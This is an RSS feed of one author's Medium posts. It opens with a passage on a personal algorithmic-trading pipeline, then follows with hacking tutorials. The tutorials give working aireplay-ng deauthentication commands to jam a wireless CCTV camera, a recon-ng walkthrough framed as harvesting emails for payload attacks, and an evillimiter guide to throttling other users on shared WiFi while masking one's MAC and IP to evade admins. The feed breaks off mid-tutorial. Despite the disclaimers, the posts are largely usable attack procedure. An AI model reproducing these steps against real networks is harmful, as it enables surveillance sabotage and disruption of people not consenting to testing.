TamJai (Yunnan today, Samgor tomorrow, only real ones know) Bowl as you read r/wallstreeetbets, r/quant, wallstreet oasis, and watch or rewatch the latest bangers from FINAiUS on YouTube</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GU_9iE1wr4O15kaUwd3iuA.jpeg" /><figcaption>Book</figcaption></figure><p>One essential way to remain sane is taking late afternoon runs from the famous Peak to cool off as your phone pings with updates from a concurrent multi-year,1ms, 2-hr comprehensive algorithmic backtesting run that you earlier left heating your cocoon. During this run, you admire the epic city view and rich people running around with sports gear you can only afford by starving for the next four weeks. Constantly, you would overhear from expats who are running junkies like you, the markets are shaping up. Maybe chat with them and later try to validate their hypotheses.</p><p>Validating these hypotheses effectively is where real issues begin. Luckily, I have partly vibe-coded an automated pipeline in C# and Semantic Kernel that can extract full hypotheses from videos, internet search, research papers, and books.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iP9B-ZBHWszJCL1VRs7K2Q.png" /><figcaption>feen qr</figcaption></figure><p>Getting data is a headache. With no B-PIPE or FactSet or Massive data centers or satellite dish accesses, I either need to source multiple free sources like Yahoo Finance or rely on trials and credits from providers like Databento and from Free API providers like Alpaca, Binance, and OKX. Most of the time, I will find incomplete data with massive gaps that cannot be fetched all at once. One way I mitigate this is by building my own datasets. Alongside my Claude Copilot, we create algorithms that can paginate and scrape data with efficient rate limits, resulting in gigabytes of Parquet files before cleaning, etc. This demands real ingenuity in programming and an intensely trained understanding of Data life cycles, like manipulation, storage, and consumption principles. Thankfully, AWS Machine Learning and Data Certifications have trained me so far beyond what the lackluster data-centric courses at the University of Hong Kong have.</p><p>However, 30% of the time, I have to defer a hypothesis because I cannot source the required data with my current infrastructure, such as satellite images, consumer spending metrics like credit cards info, and leave it in limbo as I research suitable ways to find this data. The next apparent hurdle is finding which ML Model is suitable for my hypothesis. I have taken Machine Learning courses independently from Coursera, AWS, and some from researching the internet. What matters for me is the application and the fundamental maths behind it. Quite shallow for a quant 10 miles from my subdivided apartment in Queens Road West, working at Jane Street, Jump Trading, and HRT. Their primary filter is being an anomaly and the top percent adept in these statistics, computing, mathematics, and sciences. Makes sense and is justifiable. For me, I have to learn the fundamentals first, and for a long time.</p><p>Although my AI pipeline might have already formulated a LaTeX report on why I should use a simple logistic regression or an LSTM for the contextual task, I have to think about the basics and possible critiques of this approach. This is where I fetch research papers within the pipeline and see what methods other researchers used when trying to address the same problem. With a strong 5–10 baselines, I will formulate an independent research pipeline that runs in parallel before deciding whether to focus on hyperparameter tuning on a single model or adding/diversifying my current data pool. At this point, my second-hand NVIDIA RTX 4070 would be boiling the vita milk in my Xiaoyapai micro fridge. If the workload is higher, I would run spot instances on AWS, thankfully, from the few credits I have sourced by completing their surveys and applying for student discounts.</p><p>Depending on the metrics of the research, I would translate the hypothesis into a programmed strategy using a pipeline that uses a tag team of DeepSeek and Claude Sonnet 4.6 to a format that can be backtested by QuantConnect’s Lean. Lean is fast, provided I have my data as before in the right format. Once the backtest starts, I would primarily focus on the terminal to see these metrics :</p><p><strong>Sharpe Ratio</strong>: Evaluates the risk-adjusted return of the strategy.</p><p><strong>Probabilistic Sharpe Ratio (PSR)</strong>: Indicates the probability that the estimated Sharpe ratio of the strategy is greater than a benchmark, helping assess overfitting risk.</p><p><strong>CAGR (Compound Annual Growth Rate)</strong>: The annual percentage return required to grow the portfolio to its final value.</p><p><strong>Drawdown</strong>: The largest peak-to-trough decline in the strategy’s equity curve.</p><p><strong>Information Ratio</strong>: Measures excess return relative to a benchmark per unit of tracking error.</p><p><strong>Turnover</strong>: The percentage of the portfolio that is replaced in a given year.</p><p><strong>Strategy Capacity</strong>: Estimates the maximum capital the strategy can manage before performance degrades due to market impact.</p><p><strong>Trades per Day</strong>: An approximation of the strategy’s trading frequency</p><p>If the backtest has a Sharpe ratio of at least 1, I translate that into a real-life strategy using an automated pipeline through Docker, AWS App Runner, and Load Balancer to deploy and monitor on Alpaca API Paper trading for 3–4 months. If the returns are positive to my liking, I deploy the strategy to the live portal and enact a stop loss if the strategy falls below -2% in a single day. Most dont are around a sharpe 0.5 which is a smoke test for just publishing but not real life deployment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*n11KL3lrf3vaE6YHR0PZMA.png" /><figcaption>projs</figcaption></figure><p>Honestly, I am not sure if I qualify to call myself a quant one, or if I am just a script kiddie looking for an alpha at all costs, but this is just a snippet of my life sharing space with a three-monitor, automated AI pipelines, mini home server, data storage racks, and an inflatable sleeping mat.</p><p>find my work here : <a href="https://misango.me/">https://misango.me/</a></p><p>Github : <a href="https://github.com/FranklineMisango">https://github.com/FranklineMisango</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b604fc15b36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Hack CCTV Cameras in a Secured Network by Jamming WPA2/3 Exchange packets]]></title>
            <link>https://franklinemisango.medium.com/how-to-hack-cctv-cameras-in-a-secured-network-by-jamming-wpa2-3-network-exchange-packets-b1d357d2234d?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1d357d2234d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cctv]]></category>
            <category><![CDATA[wifi]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Wed, 18 Sep 2024 06:05:17 GMT</pubDate>
            <atom:updated>2024-09-18T06:26:13.981Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*EiAsAxjzdWJajMj3n4KzvQ.jpeg" /><figcaption>Cover image : source (wikimedia commons/anon)</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective access to unauthorized wireless networks</strong></p><p>Hey! Your hacker is back again. Today, I Want to show you how to hack CCTV cameras in a network system. Hacking a CCTV is a game of patience and rerunning the scripts ( expect to curse a lot!). Today, we will be cracking my CCTV camera, that I just picked at Fortress hill in Hong Kong for some couple of bucks.</p><p>Look at me below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2D-xGQ-IRdT2fBps9Q9xJw.jpeg" /><figcaption>Victim‘s’camera : Me knowing I am about to hack myself lol</figcaption></figure><p><strong>Theory of Literature :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*e3hlSj-r-ORHuLZ4sVikGQ.jpeg" /><figcaption>Simple depiction of IPcorder NVR with cameras , source (Wikimedia commons : <em>“Petr Novák, Wikipedia)</em></figcaption></figure><p>Too much academics! I advise you to watch this video below to understand the Network architecture of a CCTV camera : How it connects to the Router and receives information, enabling real time video rendering to the user’s monitoring dash cam.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FIbAoYn8JZMw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DIbAoYn8JZMw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FIbAoYn8JZMw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e37288373f65d92907b013b8a6e72c4b/href">https://medium.com/media/e37288373f65d92907b013b8a6e72c4b/href</a></iframe><p><strong>Requirements</strong></p><ul><li>Kali Linux — <a href="https://www.kali.org/tools/kismet/">Install Kismet,</a> Aireplay-ng (pre-installed) , Airmon-ng (pre-installed)</li><li>External USB Adapter (optional: can use the Inbuilt NIC)</li><li>A WIFI Router — already connected if possible (if not, you can <a href="https://franklinemisango.medium.com/how-to-crack-wpa-wpa2-wifi-network-password-981ec545ba60">read my article here</a> on how to hack a network password and sign onto it)</li><li>CCTV camera(s) — Wirelessly connected</li></ul><p><strong>Laboratory procedures</strong></p><ul><li>Set the Attacker wireless USB WIFI dongle/NIC card to monitor mode using the root privileges (su) i.e</li></ul><ol><li>Run<strong><em> sudo airmon-ng start wlan0</em></strong> → run <strong><em>ifconfig</em></strong> and see whether its renamed to <strong><em>wlan0mon </em></strong>— This helps us to set our to observe the networks and not connect to the internet at that time . Take note of the interface : <strong><em>wlan0mon</em></strong></li><li>Run sudo kismet<strong><em> start configurations</em></strong> as shown below :</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*t20IokxI2_NeJs34_Q0NFg.png" /></figure><p>Open the browser of the following link : <em>http://localhost:2501</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*ed1csfRb8vpFRCfXeWVERw.png" /></figure><p>Once it is open, click on the far left three bars to open the side bar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntaRVE7WF_DAvm1tEzQrqg.png" /></figure><p>On the side bar, select Data sources</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgY2L83JGQDSAJ887p3C2A.png" /></figure><p>Enable source wlan0mon and click close : The window will start populating the devices in our vicinity. In normal circumstances, most CCTV cameras have mac-address that starts with numbers : n</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3N_HSobE4hdqishr5031Mw.png" /></figure><p>Now, we need to know what is the macaddress of our CCTV for the sake of this tutorial purpose , as you can see, I already have mine as below (Checked it from my router and managing app as shown below )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Si-poS3AQI_RU2YkKCs_HQ.jpeg" /><figcaption>Confirmed from my TP link app</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*geHif7V45ZdyHjgd2caG5w.png" /><figcaption>Re-confirmed from my router admin page.</figcaption></figure><p>Now that I have the mac address, I need to search for it on the list of devices that populated the kismet page..simply go to search and type the Mac address in the search box (I Initially typed the number 20:23….) and the device came up. click on it to get more information as show cased below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fAEPk53J-BLCm3dkaZLBaA.png" /><figcaption>Kismet device search : This device is my CCTV apparently</figcaption></figure><p>Now, we need to take note, like write or be ready to copy-paste, of 3things :</p><ol><li>Mac address of the CCTV again → <strong>20 : 23 : 51 : 47 : 74 : 7E</strong></li><li>Mac address of the main router → we can see from above that it is the client of router with mac address → <strong>50 : D4 : F4 : 10 : B4 : 88</strong></li><li>Channel, as labeled ch on the image above , which is ch <strong>4</strong></li></ol><p>Now, before hacking, we need to observe the number of packets that are being exchanged between the CCTV and the router i.e ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cHeqtH8IJE4BbKGlGnqgZw.png" /><figcaption>Router back end showing us the devices connected to it…our CCTV is number 6</figcaption></figure><p>We note that our CCTV was doing around 739 received and 486 sent packets which means the signal is strong and there is communication. Also, if you look at your router, it should still have the <strong>green LED color on the blip</strong> (not very clear from my picture) →<a href="https://www.youtube.com/watch?v=2ruwtbyZJFQ"> Tutorial on c100 connectivity</a> explaining the color modes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ok7hcpRfu2PABjSy7gHmeg.jpeg" /><figcaption>My CCTV lol</figcaption></figure><p>Now, its time to attack the CCTV!</p><p>We do this by carrying the deauth attack using aireplay-ng and start network jamming :</p><p>First, we re-run airmon-ng with the channel in mind :</p><p><strong><em>sudo airmon-ng start wlan0mon 4 </em></strong><em>(specify 4 since it is the channel)</em></p><p><strong><em>sudo aireplay-ng -0 0 -a &lt;bssid of AP {mac address of Router} -c {BSSID of the client : {Mac address of the device} wlan0mon.</em></strong></p><p>as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wQRCTPVbZS_UfWo6e9fag.png" /><figcaption>Sending Deauth packets</figcaption></figure><p>To explain what the aforementioned instructions are doing : By setting the attack option to 0, Deauth packets will be sent to the device from the access point, posing as the source. You can select a fixed quantity to send here, or you can send a continuous stream of Deauth packets as indicated by the 0 that follow :</p><p>-a : will configure the device’s linked Wi-Fi access point’s MAC.</p><p>c : The device we want to disconnect from the network will have</p><p>Great! we are now sending the Deauth packets. If you hover back to kismet messages we, can see the deauth packets being sent :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*47PlO4guecoNNHQGLkQbvw.png" /><figcaption>Messages from the kismet with updates from the Deauth</figcaption></figure><p>Bingo ! I can not start seeing the CCTV beep red indicating instable network :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqbMR7ghm8PK24VURDge1Q.jpeg" /><figcaption>CCTV — red blips</figcaption></figure><p>Now, I need to observe the router connections in the back end and see how many Packets are being exchanged between CCTV and Router. As expected, there is a drop to only 2 packets averagely down from 700–900 indicating the connection is seriously being jammed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*geHif7V45ZdyHjgd2caG5w.png" /></figure><p>I could also observe the lag on my CCTV monitoring dashboard like low latency to reactions and warnings of unstable network. With this lag, recording is hampered and real-time quick intended actions can be taken : Its up to you</p><p><strong>Defending your CCTV from the Deauth Attacks :</strong></p><ol><li>Never share your WIFI password onto which it is connected</li><li>Always use wired connections to critical infrastracture like CCTV</li><li>Avoid cheap CCTV cameras !</li></ol><p><strong>Follow-up notes:</strong></p><p>I will be updating the script to experiment whether we can take over the CCTV output i.e Plastering a Hacked JPG or blurring it out, or remotely controlling it on it on the next tutorial</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1d357d2234d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Gathering Series; Part B: Basic Enumeration →Whois]]></title>
            <link>https://franklinemisango.medium.com/information-gathering-series-part-b-basic-enumeration-whois-3219c45643a4?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/3219c45643a4</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Mon, 10 Apr 2023 04:37:34 GMT</pubDate>
            <atom:updated>2023-04-10T04:37:34.185Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*lZIuc0SnZO8x4dwQXnPuQQ.jpeg" /><figcaption>Cover Image: Sukhoi Design Bureau, 054, Sukhoi Su-57 : The Russian Sukhoi su-57. Commonly known for advanced stealth and stronger intelligence gathering before destroying either air or land targets . source: Wikimedia commons/ Tallinn, Estonia</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks</strong></p><p>In this episode, I will continue covering information gathering using various tools with the <a href="https://medium.com/@franklinemisango/information-gathering-series-part-a-recon-ng-ba60eecf027e">preceding article</a> talking about Passive &amp; Active reconnaissance using Recon-ng. In this article, I will be writing on <a href="https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/enumeration-ethical-hacking/">enumeration</a> which is basically gathering information like who is the server admin? which users are in the system, what is the server’s security status etc.</p><p>The article is quite short and straightfoward. cheers !</p><p>Practically, there are so many ways of carrying out enumeration. However, the most novices ones are involve using techniques/tools below</p><ol><li>Whois → This inbuilt tool in Linux allows us to gather registrar, name servers, owner, information of a particular domain [ whois -d [domain name]</li><li>DNS → Expounds more on the whois enumeration by adding IP addresses etc. You can imagine this, when you type lets Amazon’s customer care number on google, its automatically appended on the screen. So DNS works similar where it converts the domain name onto its equivalent IP addresses.</li><li>Netcraft →</li></ol><p><strong>Requirements</strong></p><ul><li>Kali Linux Separate OS /VMware Kali Linux</li><li>Recon-ng</li><li>Target subdomain of a website eg. google.com or facebook.com</li></ul><p><strong>Procedure → Whois Enumeration</strong></p><ol><li>Install whois on your system by just <strong><em>sudo apt install whois.</em></strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qSxZE9tvQ5rQK4iqGdRBVg.png" /><figcaption>Simple and dusted</figcaption></figure><p>2. We can pick the domain we want to investigate. Lets say I want to hack Google, just kidding, I will just use whois google</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6M64b9Hz08CxTG9LCIGttg.png" /></figure><p>3. From this information, I can note the server names, expiration of their registration. From here, attackers can take advantage of maybe the hosting company’s weaknesses if they are known. An attacker can also note the email to attempt sending an embedded malicious payload in email links etcetera.</p><p><strong>Conclusion</strong></p><p>whois provides very shallow information . In the next series , I will cover more advanced DNS enumeration that gives us more information about a domain i.e TCP filters etc</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3219c45643a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Gathering Series; Part A: Recon-ng]]></title>
            <link>https://franklinemisango.medium.com/information-gathering-series-part-a-recon-ng-ba60eecf027e?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba60eecf027e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[consulting]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Sat, 01 Apr 2023 00:16:46 GMT</pubDate>
            <atom:updated>2023-04-01T00:31:29.208Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*CGso_iccCG1NTaU5GZuuJw.jpeg" /><figcaption>Cover Image: A U.S. Air Force Lockheed SR-71A <em>Blackbird</em> from the 9th Strategic Reconnaissance Wing near Beale Air Force Base, California (USA). source: Wikimedia commons/TSgt. Michael Haggerty, USAF</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks</strong></p><p>In this series, I will be covering the key steps attackers use to start gathering vulnerabilities about a website. In all sense, you can’t hack something you don’t understand either. Recon-ng is a very great tool, which is free, to start with as it contains multiple sub-tools that allow us to capture information such as server IP addresses, open ports and emails etc. For these, Cybersecurity attackers would normally need the domain of the organization they are working on to grasp</p><p><strong>Requirements</strong></p><ul><li>Kali Linux Separate OS /VMware Kali Linux</li><li>Recon-ng</li><li>Target subdomain of a website eg. google.com or facebook.com</li></ul><p>Installing recon-ng: <br>while the program comes in default in some kali linux versions, it may miss from yours. simply run <strong><em>recon-ng </em></strong>to confirm. If it&#39;s not installed, run the steps below :</p><p><strong><em>git clone </em></strong><a href="https://github.com/lanmaster53/recon-ng.git"><strong><em>https://github.com/lanmaster53/recon-ng.git</em></strong></a></p><p><strong><em>cd recon-ng</em></strong></p><p><strong><em>pip install -r REQUIREMENTS</em></strong></p><p><strong><em>./recon-ng</em></strong></p><p><strong>Procedure A: IP addresses and server locations</strong></p><ol><li>Fire up recon-ng as shown in the figure below :</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ke548JcPBiAP9mVHH1EAHw.png" /><figcaption>Recon-ng</figcaption></figure><p>2. We can type “help” to directly get an overview of how recon-ng can support us in our intelligence gathering. Furthermore, we can “<strong><em>show modules</em></strong>” to help us understand what modules are available to our advantage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBn0XAHvNuC8Q99yI1MYgA.png" /><figcaption>We can see the modules available</figcaption></figure><p>3. We need to create a virtual lab to store all of our active modules. Picture it as two cups each having different ingredients that ultimately mix in the end to cook something<br><strong><em>workspaces create ethicalhackinglab</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Cq2Qz9ubNH4HRe_NxvfLA.png" /></figure><p>4. We can do a “<strong><em>marketplace search</em></strong>” to help us identify which tools we might need specifically for the current payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MDGNBrAG4HopfAX5X79Q6Q.png" /></figure><p>5. We can begin by “<strong><em>marketplace install hackertarget</em></strong>” which installs a module to help us fish the server locations and IP information[basically hosts]. Remember, with IP, we can do other attacks like sqlninja, to perform XSS attacks, or DirBuster to identify hidden directories and pages on a website.</p><p>We can load the module using “<strong><em>modules load hackertarget</em></strong>” &amp; “<strong><em>options set SOURCE abc.com</em></strong>(here you can use any domain you are authorized to use). For the sake of the tutorial, I will use google.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZSh-cxZEQ0N2AfQI9kXug.png" /></figure><p>6. Type run and observe the information relayed. Indeed we can see the servers and IP addresses of respective Google.com. observe the figure below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXb5Z-XbPW2Rz1HDGsON2w.png" /></figure><p>[Optional: To increase the hosts&#39; pool; you can install “<strong><em>google_site_web</em></strong>” or “<strong><em>netcraft</em></strong>” using the procedure in step 5, load it and set the options as step 6]</p><p><strong>Procedure B: Email-addresses</strong></p><p>What if We need to capture the Email addresses of a user let&#39;s say for attacking them using the meterpreter payload?</p><ol><li>we need to “<strong><em>marketplace install whois_pocs</em></strong>”. We can load the module as well using “<strong><em>modules load whois_pocs</em></strong>”.</li><li>We can try “<strong><em>misango.me</em></strong>” &amp; “<strong><em>hackthissite.org</em></strong>” my website and an open hacking field. Well, from the results below, we cannot find any email as we know [ This is an assurance that the website is safe and doesn’t expose to us users’ data].</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ktzzanby1UkFjMsEDZnsQg.png" /></figure><p>3. We can try the step above on “github.com” which is an open-source website to post repositories and we can actually see the emails as below. [This is open source and available to the public]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Czn86-HZEX9V5osRAXsIg.png" /><figcaption>The emails are probably fake</figcaption></figure><p>[Optional]: You can try “<strong><em>marketplace install pgp_search</em></strong>”, load it and see the name of emails captured.</p><p>IMPORTANT [Follow-up Notes]</p><p>Now we need to tie everything that we have been collecting into a single HTML file and see what we have so far. For this method, you need to “<strong><em>marketplace install hibp_paster</em></strong>” &amp; “<strong><em>marketplace install html”.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOmZlqD15ba8y2fzGE6Bcw.png" /></figure><p>You then can “<strong><em>load modules html</em></strong>” and follow the steps below</p><ol><li>options set CREATOR misango → Set the name of the analyst</li><li>options set CUSTOMER hacked → set the contents of the output to a fictitious name i.e hacked</li><li>run</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gNYgSiIAX41U37APinCyXQ.png" /><figcaption>Alternatively, can be opened up in the browser as below</figcaption></figure><p>We can see an HTML file generated and we can open on our browser to view</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxfjHLTFOIiD7JNFyreZFg.jpeg" /><figcaption>We can see hacked the creators name</figcaption></figure><p><strong>Recommendations</strong></p><p>Software development architecture needs to be robust and prevent leakage of emails, IP addresses etc. This can be done by installing software systems, like Google’s security, that scraps the web for intranet’s leaked credentials etc</p><p><strong>Conclusion</strong></p><p>We have gone briefly through recon-ng which helps us gather overview information about a victim. In the next weeks, I will be continuing with this series and write-up on “<strong><em>who_is enumeration</em></strong>” skillset.</p><p>Also, since we are in the intelligence-gathering phase, the cover image will change from time to time to show Aircraft from all over the globe super powers that are made for active &amp; passive reconnaissance. Stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba60eecf027e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Kick People Out of a WI-FI Network]]></title>
            <link>https://franklinemisango.medium.com/how-to-kick-people-out-of-a-wi-fi-network-679b50089af1?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/679b50089af1</guid>
            <category><![CDATA[anonymity]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[wifi]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Thu, 23 Mar 2023 09:02:28 GMT</pubDate>
            <atom:updated>2023-03-23T09:02:28.512Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*vPYR6ARX13Lz2a6gyKjb2Q.png" /><figcaption>Cover Image: hacker — The Noun Project icon from the Noun Project, source: Five by Five / Wikimedia commons</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks</strong></p><p>Do you have those days when you have a meeting or just torrenting a PC game and the WIFI, shared of course, is so slow? Did you know you can technically “kick” people out of the WIFI?</p><p>In this quick article, I am gonna describe how you can kick people out of a WIFI Network by technically limiting their bandwidth rendering their connection unusable. I am also gonna add some cool tips you can add to the attack that can mask your IP/Mac address so that The server admin cannot identify where the attack is coming from.</p><p>While this attack works 100% efficiently, it is not a definitive assurance you are not gonna get caught especially when attempting to hack into the WPA2 Enterprise system which usually requires an employee or a member of that organization to sign in using some credentials. Or WIFI networks that require you to verify your identity over a link or get an OTP. This method works for networks that require users to type in a password or require someone to type in the password [Like in hotels]</p><p><strong>Requirements</strong></p><ul><li>Kali Linux Separate OS /VMware Kali Linux</li><li>Macchanger — Easy installation</li><li>Evillimiter — Easy installation</li><li>Anonsurf — Easy installation, link attached</li></ul><ol><li>Installing <a href="https://installati.one/install-macchanger-kalilinux/">Macchanger </a>→ This program masks your Computer’s Mac address. The steps below outline how to install it. basically, run :<br><strong><em>sudo apt-get install macchanger</em></strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7or5RgftbrxXxsOWv3K4A.png" /><figcaption>How to run the commands. You can copy and paste the commands below to your Terminal</figcaption></figure><p>2. Installing <a href="https://www.geeksforgeeks.org/how-to-setup-and-use-anonsurf-on-kali-linux/">Anonsurf </a>→ This program changes your IP address, kind of like a VPN by routing your traffic via a tor(anonymous browser):<br><strong><em>mkdir Anonsurf &amp;&amp; cd Anonsurf <br>git clone </em></strong><a href="https://github.com/Und3rf10w/kali-anonsurf.git"><strong><em>https://github.com/Und3rf10w/kali-anonsurf.git</em></strong></a><strong><em><br>sudo ./installer.sh</em></strong></p><p>3. Installing evillimiter → This program will allow us to have autonomy over the WIFI network now:<br><strong><em>git clone </em></strong><a href="https://github.com/bitbrute/evillimiter.git"><strong><em>https://github.com/bitbrute/evillimiter.git</em></strong></a><strong><em><br>cd evillimiter<br>sudo python3 setup.py install</em></strong></p><p><strong>Procedure</strong></p><p><em>NB: I will change my mac address twice in succession, to mask my Permanent Mac in step 1, to avoid exposing this value.</em></p><ol><li>Type<em>, </em><strong><em>macchanger -s wlan0</em></strong><em>,</em> to confirm your IP address and note it somewhere or just copy to clipboard.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J0gFjc-Npi4lj0WEVSmkBQ.jpeg" /><figcaption>Our Mac address is an ether one hence no threat of attack.</figcaption></figure><p>2. Time to change our Mac address For the sake of the tutorial, I will change my mac address twice in succession to avoid hacking attempts out here :<br><strong><em>ifconfig wlan0 down → Makes our wireless wifi card enter monitoring mode<br>maccchanger -r wlan0 → Randomizes our new mac address. If anyone scans for our mac address, this virtual address will be shown</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-srzcy9XaEKGJ63qBU9sXw.jpeg" /><figcaption>You can see New Mac</figcaption></figure><p>3. We need to change our IP address to mask our identity even more. Anonsurf does this more accurately.<em> <br></em><strong><em>systemctl start anonsurf<br>anonsurf start</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZogIp1pC6JBptv0wTBaoeA.png" /><figcaption>Our IP starts to randomize</figcaption></figure><p><em>Optional; run</em><strong><em> ifconfig</em></strong><em>, our IP address has changed from 192.168.0.4 to A random IP from 192.168.0.7–192.168.0.254 [ Observe figure 2.2 below] where its currently at 192.168.0.109. The IP address will keep changing in this range making the attack more anonymous</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*VPjVcYnj_ydJzFy0KZUOWQ.jpeg" /><figcaption>Ether is ourvirtual Mac address</figcaption></figure><p>4. Launch evillimiter. you need administration privileges before attempting to launch. From the window below, We note the IP of the router, the mac and another terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vREKdvxKPwDAPNsUokTi0Q.png" /></figure><p>5. We need to type <strong><em>scan </em></strong>to note all the hosts. As you can observe, the system has discovered six hosts connected, this is my Home Router, which is expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TBNgAK4qqXfO0SLyB6NHUg.png" /></figure><p><strong><em>6. [IMPORTANT] </em></strong>Type <strong><em>hosts. 